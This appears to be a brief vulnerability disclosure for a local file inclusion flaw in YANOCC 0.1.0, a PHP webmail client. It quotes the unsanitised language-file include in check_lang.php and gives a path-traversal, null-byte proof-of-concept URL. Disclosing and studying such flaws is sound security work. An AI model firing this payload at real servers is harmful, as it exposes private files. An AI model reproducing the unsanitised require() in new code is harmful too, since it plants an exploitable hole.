Yet Another NOCC 0.1.0 <= Local File Inclusion Vulnerabilities

YANOCC is a simple and fast webmail client which can handle POP3, SMTP, and IMAP servers. 
YANOCC is based on NOCC's code and is written with PHP4. It features multi-language support, 
MIME attachments, displays HTML messages, address book, folder support.

Author: Kacper
HomePage: http://devilteam.pl/
          http://polskihacking.pl/

in file check_lang.php:

if (!ISSET($lang))
{
  $ar_lang = explode(",", $HTTP_ACCEPT_LANGUAGE);
  while ($accept_lang = array_shift($ar_lang))
  {
    $tmp = explode(";", $accept_lang);
    $tmp[0] = strtolower($tmp[0]);
    if (file_exists("lang/".$tmp[0].".php"))
    {
      $lang = $tmp[0];
      break;
    }
  }
  if ($lang == "")
    $lang = $default_lang;
}
//  Fix for faulty PHP install (RH7, see bug #24933)
$lang = trim($lang);
require ("lang/".$lang.".php");

Vuln example:

check_lang.php?lang=../[localinclude]%00